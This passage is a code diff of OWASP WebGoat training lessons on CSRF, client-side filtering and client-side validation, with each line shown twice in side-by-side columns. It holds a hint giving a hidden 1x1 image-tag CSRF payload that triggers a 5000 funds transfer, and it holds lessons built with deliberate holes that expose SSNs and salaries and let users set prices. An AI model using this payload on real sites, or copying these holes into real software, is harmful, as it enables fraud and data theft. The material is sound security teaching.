String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ? and lesson_type = ?"; String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ? and lesson_type = ?";
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum); statement.setInt(2, messageNum);
statement.setString(3, this.getClass().getName()); statement.setString(3, this.getClass().getName());
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ((results != null) && results.first()) if ((results != null) && results.first())
{ {
ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL))); ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL)));
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(new TD(new B(new StringElement("Title:")))); TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
row1.addElement(new TD(new StringElement(results.getString(TITLE_COL)))); row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
t.addElement(row1); t.addElement(row1);
String messageData = results.getString(MESSAGE_COL); String messageData = results.getString(MESSAGE_COL);
TR row2 = new TR(new TD(new B(new StringElement("Message:")))); TR row2 = new TR(new TD(new B(new StringElement("Message:"))));
row2.addElement(new TD(new StringElement(messageData))); row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2); t.addElement(row2);
TR row3 = new TR(new TD(new StringElement("Posted By:"))); TR row3 = new TR(new TD(new StringElement("Posted By:")));
row3.addElement(new TD(new StringElement(results.getString(USER_COL)))); row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
t.addElement(row3); t.addElement(row3);
ec.addElement(t); ec.addElement(t);
} }
else else
{ {
if (messageNum != 0) if (messageNum != 0)
{ {
ec.addElement(new P().addElement("Could not find message " + messageNum)); ec.addElement(new P().addElement("Could not find message " + messageNum));
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
@Override @Override
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
private final static Integer DEFAULT_RANKING = new Integer(121); private final static Integer DEFAULT_RANKING = new Integer(121);
@Override @Override
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@Override @Override
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Enter some text and try to include an image in there."); hints.add("Enter some text and try to include an image in there.");
hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"."); hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\".");
hints.add("The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>"); hints.add("The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>");
hints.add("Include this URL in the message <pre>&lt;img src='" + getLink() hints.add("Include this URL in the message <pre>&lt;img src='" + getLink()
+ "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>"); + "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
return hints; return hints;
} }
/** /**
* Gets the title attribute of the MessageBoardScreen object * Gets the title attribute of the MessageBoardScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Cross Site Request Forgery (CSRF)"); return ("Cross Site Request Forgery (CSRF)");
} }
private static String getNameroot(String name) private static String getNameroot(String name)
{ {
String nameroot = name; String nameroot = name;
if (nameroot.indexOf('-') != -1) if (nameroot.indexOf('-') != -1)
{ {
nameroot = nameroot.substring(0, nameroot.indexOf('-')); nameroot = nameroot.substring(0, nameroot.indexOf('-'));
} }
return nameroot; return nameroot;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
} }

File diff suppressed because it is too large Load Diff

View File

@ -32,421 +32,421 @@ import org.owasp.webgoat.session.WebSession;
public class ClientSideFiltering extends SequentialLessonAdapter public class ClientSideFiltering extends SequentialLessonAdapter
{ {
private final static String ANSWER = "answer"; private final static String ANSWER = "answer";
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element createMainContent(WebSession s) protected Element createMainContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(new Script().setSrc("lessonJS/clientSideFiltering.js")); ec.addElement(new Script().setSrc("lessonJS/clientSideFiltering.js"));
Input input = new Input(Input.HIDDEN, "userID", 102); Input input = new Input(Input.HIDDEN, "userID", 102);
input.setID("userID"); input.setID("userID");
ec.addElement(input); ec.addElement(input);
style sty = new style(); style sty = new style();
sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}" sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
+ "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);" + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);"
+ "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}" + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}"
+ ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);" + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);"
+ "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}"); + "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}");
ec.addElement(sty); ec.addElement(sty);
Div wrapperDiv = new Div(); Div wrapperDiv = new Div();
wrapperDiv.setID("lesson_wrapper"); wrapperDiv.setID("lesson_wrapper");
Div headerDiv = new Div(); Div headerDiv = new Div();
headerDiv.setID("lesson_header"); headerDiv.setID("lesson_header");
Div workspaceDiv = new Div(); Div workspaceDiv = new Div();
workspaceDiv.setClass("lesson_workspace"); workspaceDiv.setClass("lesson_workspace");
wrapperDiv.addElement(headerDiv); wrapperDiv.addElement(headerDiv);
wrapperDiv.addElement(workspaceDiv); wrapperDiv.addElement(workspaceDiv);
ec.addElement(wrapperDiv); ec.addElement(wrapperDiv);
workspaceDiv.addElement(new BR()); workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new BR()); workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new P().addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:")); workspaceDiv.addElement(new P().addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
workspaceDiv.addElement(createDropDown()); workspaceDiv.addElement(createDropDown());
workspaceDiv.addElement(new P()); workspaceDiv.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
t.setID("hiddenEmployeeRecords"); t.setID("hiddenEmployeeRecords");
t.setStyle("display: none"); t.setStyle("display: none");
workspaceDiv.addElement(t); workspaceDiv.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("UserID")); tr.addElement(new TD().addElement("UserID"));
tr.addElement(new TD().addElement("First Name")); tr.addElement(new TD().addElement("First Name"));
tr.addElement(new TD().addElement("Last Name")); tr.addElement(new TD().addElement("Last Name"));
tr.addElement(new TD().addElement("SSN")); tr.addElement(new TD().addElement("SSN"));
tr.addElement(new TD().addElement("Salary")); tr.addElement(new TD().addElement("Salary"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.setID("employeeRecord"); tr.setID("employeeRecord");
t.addElement(tr); t.addElement(tr);
workspaceDiv.addElement(t); workspaceDiv.addElement(t);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the RoleBasedAccessControl object * Gets the category attribute of the RoleBasedAccessControl object
* *
* @return The category value * @return The category value
*/ */
protected ElementContainer doStage1(WebSession s) protected ElementContainer doStage1(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer answerString = null; StringBuffer answerString = null;
int answer = 0; int answer = 0;
try try
{ {
answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, "")); answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, ""));
answer = Integer.parseInt(answerString.toString()); answer = Integer.parseInt(answerString.toString());
} catch (NumberFormatException e) } catch (NumberFormatException e)
{ {
// e.printStackTrace(); // e.printStackTrace();
} }
if (answer == 450000) if (answer == 450000)
{ {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed."); s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} }
else else
{ {
ec.addElement(stage1Content(s)); ec.addElement(stage1Content(s));
} }
return ec; return ec;
} }
protected Element doStage2(WebSession s) protected Element doStage2(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
/** /**
* They pass iff: * They pass iff:
* *
* 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)"
*/ */
String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp"); String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp");
String content = getFileContent(file); String content = getFileContent(file);
if (content.indexOf("[Managers/Manager/text()") != -1) if (content.indexOf("[Managers/Manager/text()") != -1)
{ {
makeSuccess(s); makeSuccess(s);
ec.addElement(stage2Content(s)); ec.addElement(stage2Content(s));
} }
else else
{ {
ec.addElement(stage2Content(s)); ec.addElement(stage2Content(s));
} }
return ec; return ec;
} }
protected ElementContainer stage1Content(WebSession s) protected ElementContainer stage1Content(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(createMainContent(s)); ec.addElement(createMainContent(s));
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) if (s.isColor())
{ {
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? ")); tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? "));
tr.addElement(new TD(new Input(Input.TEXT, ANSWER, ""))); tr.addElement(new TD(new Input(Input.TEXT, ANSWER, "")));
Element b = ECSFactory.makeButton("Submit Answer"); Element b = ECSFactory.makeButton("Submit Answer");
tr.addElement(new TD(b).setAlign("LEFT")); tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return ec; return ec;
} }
protected ElementContainer stage2Content(WebSession s) protected ElementContainer stage2Content(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(createMainContent(s)); ec.addElement(createMainContent(s));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) if (s.isColor())
{ {
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
/* /*
* tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have * tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have
* completed the lesson.")); * completed the lesson."));
*/ */
Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson."); Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson.");
tr.addElement(new TD(b).setAlign("CENTER")); tr.addElement(new TD(b).setAlign("CENTER"));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return ec; return ec;
} }
protected Select createDropDown() protected Select createDropDown()
{ {
Select select = new Select("UserSelect"); Select select = new Select("UserSelect");
select.setID("UserSelect"); select.setID("UserSelect");
org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee"); org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge"); option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge"); option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker"); option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Tom Cat", "105", "Tom Cat"); option = new org.apache.ecs.html.Option("Tom Cat", "105", "Tom Cat");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse"); option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi"); option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre"); option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston"); option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal"); option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal");
select.addElement(option); select.addElement(option);
select.setOnChange("selectUser()"); select.setOnChange("selectUser()");
select.setOnFocus("fetchUserData()"); select.setOnFocus("fetchUserData()");
return select; return select;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the hints attribute of the RoleBasedAccessControl object * Gets the hints attribute of the RoleBasedAccessControl object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints
.add("Stage 1: The information displayed when an employee is choosen from the drop down menu is stored on the client side."); .add("Stage 1: The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
hints.add("Stage 1: Use Firebug to find where the information is stored on the client side."); hints.add("Stage 1: Use Firebug to find where the information is stored on the client side.");
hints hints
.add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu."); .add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Stage 1: Look in the last row of the hidden table."); hints.add("Stage 1: Look in the last row of the hidden table.");
hints hints
.add("Stage 1: You can access the server directly <a href = \"/webgoat/lessons/Ajax/clientSideFiltering.jsp?userId=102\">here </a>" .add("Stage 1: You can access the server directly <a href = \"/webgoat/lessons/Ajax/clientSideFiltering.jsp?userId=102\">here </a>"
+ "to see what results are being returned"); + "to see what results are being returned");
hints.add("Stage 2: The server uses an XPath query agasinst an XML database."); hints.add("Stage 2: The server uses an XPath query agasinst an XML database.");
hints.add("Stage 2: The query currently returns all of the contents of the database."); hints.add("Stage 2: The query currently returns all of the contents of the database.");
hints hints
.add("Stage 2: The query should only return the information of employees who are managed by Moe Stooge, whose userID is 102"); .add("Stage 2: The query should only return the information of employees who are managed by Moe Stooge, whose userID is 102");
hints.add("Stage 2: Try using a filter operator."); hints.add("Stage 2: Try using a filter operator.");
hints.add("Stage 2: Your filter operator should look something like: [Managers/Manager/text()="); hints.add("Stage 2: Your filter operator should look something like: [Managers/Manager/text()=");
return hints; return hints;
} }
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) if (getLessonTracker(s).getStage() == 1)
{ {
instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. " instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
+ "You have access to everyone in the company's information, except the CEO, " + "You have access to everyone in the company's information, except the CEO, "
+ "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information." + "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information."
+ " For this exercise, " + " For this exercise, "
+ "examine the contents of the page to see what extra information you can find."; + "examine the contents of the page to see what extra information you can find.";
} }
else if (getLessonTracker(s).getStage() == 2) else if (getLessonTracker(s).getStage() == 2)
{ {
instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return " instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return "
+ "results that Moe Stooge is allowed to see."; + "results that Moe Stooge is allowed to see.";
} }
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the resources attribute of the RoleBasedAccessControl object * Gets the resources attribute of the RoleBasedAccessControl object
* *
* @param rl * @param rl
* Description of the Parameter * Description of the Parameter
* @return The resources value * @return The resources value
*/ */
/** /**
* Gets the role attribute of the RoleBasedAccessControl object * Gets the role attribute of the RoleBasedAccessControl object
* *
* @param user * @param user
* Description of the Parameter * Description of the Parameter
* @return The role value * @return The role value
*/ */
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("LAB: Client Side Filtering"); return ("LAB: Client Side Filtering");
} }
private String getFileContent(String content) private String getFileContent(String content)
{ {
BufferedReader is = null; BufferedReader is = null;
StringBuffer sb = new StringBuffer(); StringBuffer sb = new StringBuffer();
try try
{ {
is = new BufferedReader(new FileReader(new File(content))); is = new BufferedReader(new FileReader(new File(content)));
String s = null; String s = null;
while ((s = is.readLine()) != null) while ((s = is.readLine()) != null)
{ {
sb.append(s); sb.append(s);
} }
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} finally } finally
{ {
if (is != null) if (is != null)
{ {
try try
{ {
is.close(); is.close();
} catch (IOException ioe) } catch (IOException ioe)
{ {
} }
} }
} }
return sb.toString(); return sb.toString();
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -26,419 +26,419 @@ import org.owasp.webgoat.util.HtmlEncoder;
public class ClientSideValidation extends SequentialLessonAdapter public class ClientSideValidation extends SequentialLessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private boolean stage1FirstVisit = true; private boolean stage1FirstVisit = true;
private boolean stage2FirstVisit = true; private boolean stage2FirstVisit = true;
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) protected Element doStage1(WebSession s)
{ {
return evalStage1(s); return evalStage1(s);
} }
protected Element doStage2(WebSession s) protected Element doStage2(WebSession s)
{ {
return stage2Content(s); return stage2Content(s);
} }
protected Element evalStage1(WebSession s) protected Element evalStage1(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", ""); String param1 = s.getParser().getRawParameter("field1", "");
// test success // test success
if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver") if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver")
|| param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone") || param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("presstwo")) || param1.equalsIgnoreCase("presstwo"))
{ {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
// s.resetHintCount(); // s.resetHintCount();
s.setMessage("Stage 1 completed."); s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} }
else else
{ {
if (!stage1FirstVisit) if (!stage1FirstVisit)
{ {
s.setMessage("Keep looking for the coupon code."); s.setMessage("Keep looking for the coupon code.");
} }
stage1FirstVisit = false; stage1FirstVisit = false;
ec.addElement(stage1Content(s)); ec.addElement(stage1Content(s));
} }
return ec; return ec;
} }
protected Element stage1Content(WebSession s) protected Element stage1Content(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js")); ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart"))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
ec.addElement(createQtyTable(s)); ec.addElement(createQtyTable(s));
ec.addElement(createTotalTable(s)); ec.addElement(createTotalTable(s));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element stage2Content(WebSession s) protected Element stage2Content(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js")); ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart"))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
ec.addElement(createQtyTable(s)); ec.addElement(createQtyTable(s));
ec.addElement(createTotalTable(s)); ec.addElement(createTotalTable(s));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
// test success // test success
DecimalFormat money = new DecimalFormat("$0.00"); DecimalFormat money = new DecimalFormat("$0.00");
String grandTotalString = s.getParser().getStringParameter("GRANDTOT", "0"); String grandTotalString = s.getParser().getStringParameter("GRANDTOT", "0");
float grandTotal = 1; float grandTotal = 1;
try try
{ {
grandTotal = money.parse(grandTotalString).floatValue(); grandTotal = money.parse(grandTotalString).floatValue();
} catch (java.text.ParseException e) } catch (java.text.ParseException e)
{ {
try try
{ {
grandTotal = Float.parseFloat(grandTotalString); grandTotal = Float.parseFloat(grandTotalString);
} catch (java.lang.NumberFormatException e1) } catch (java.lang.NumberFormatException e1)
{ {
// eat exception, do not update grandTotal // eat exception, do not update grandTotal
} }
} }
if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit)
{ {
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
if (!stage2FirstVisit) if (!stage2FirstVisit)
{ {
s.setMessage("Your order isn't free yet."); s.setMessage("Your order isn't free yet.");
} }
stage2FirstVisit = false; stage2FirstVisit = false;
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected ElementContainer createTotalTable(WebSession s) protected ElementContainer createTotalTable(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", ""); String param1 = s.getParser().getRawParameter("field1", "");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("Total before coupon is applied:")); tr.addElement(new TD().addElement("Total before coupon is applied:"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "SUBTOT", s.getParser() new Input(Input.TEXT, "SUBTOT", s.getParser()
.getStringParameter("SUBTOT", "$0.00")).setReadOnly(true) .getStringParameter("SUBTOT", "$0.00")).setReadOnly(true)
.setStyle("border:0px;")).setAlign("right")); .setStyle("border:0px;")).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Total to be charged to your credit card:")); tr.addElement(new TD().addElement("Total to be charged to your credit card:"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "GRANDTOT", s.getParser() new Input(Input.TEXT, "GRANDTOT", s.getParser()
.getStringParameter("GRANDTOT", "$0.00")).setReadOnly(true) .getStringParameter("GRANDTOT", "$0.00")).setReadOnly(true)
.setStyle("border:0px;")).setAlign("right")); .setStyle("border:0px;")).setAlign("right"));
t.addElement(tr); t.addElement(tr);
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:")); tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2))); tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your coupon code:")); tr.addElement(new TD().addElement("Enter your coupon code:"));
Input input = new Input(Input.TEXT, "field1", param1); Input input = new Input(Input.TEXT, "field1", param1);
input.setOnKeyUp("isValidCoupon(field1.value)"); input.setOnKeyUp("isValidCoupon(field1.value)");
tr.addElement(new TD().addElement(input)); tr.addElement(new TD().addElement(input));
t.addElement(tr); t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase"); Element b = ECSFactory.makeButton("Purchase");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
return ec; return ec;
} }
protected int getTotalQty(WebSession s) protected int getTotalQty(WebSession s)
{ {
int quantity = 0; int quantity = 0;
quantity += s.getParser().getFloatParameter("QTY1", 0.0f); quantity += s.getParser().getFloatParameter("QTY1", 0.0f);
quantity += s.getParser().getFloatParameter("QTY2", 0.0f); quantity += s.getParser().getFloatParameter("QTY2", 0.0f);
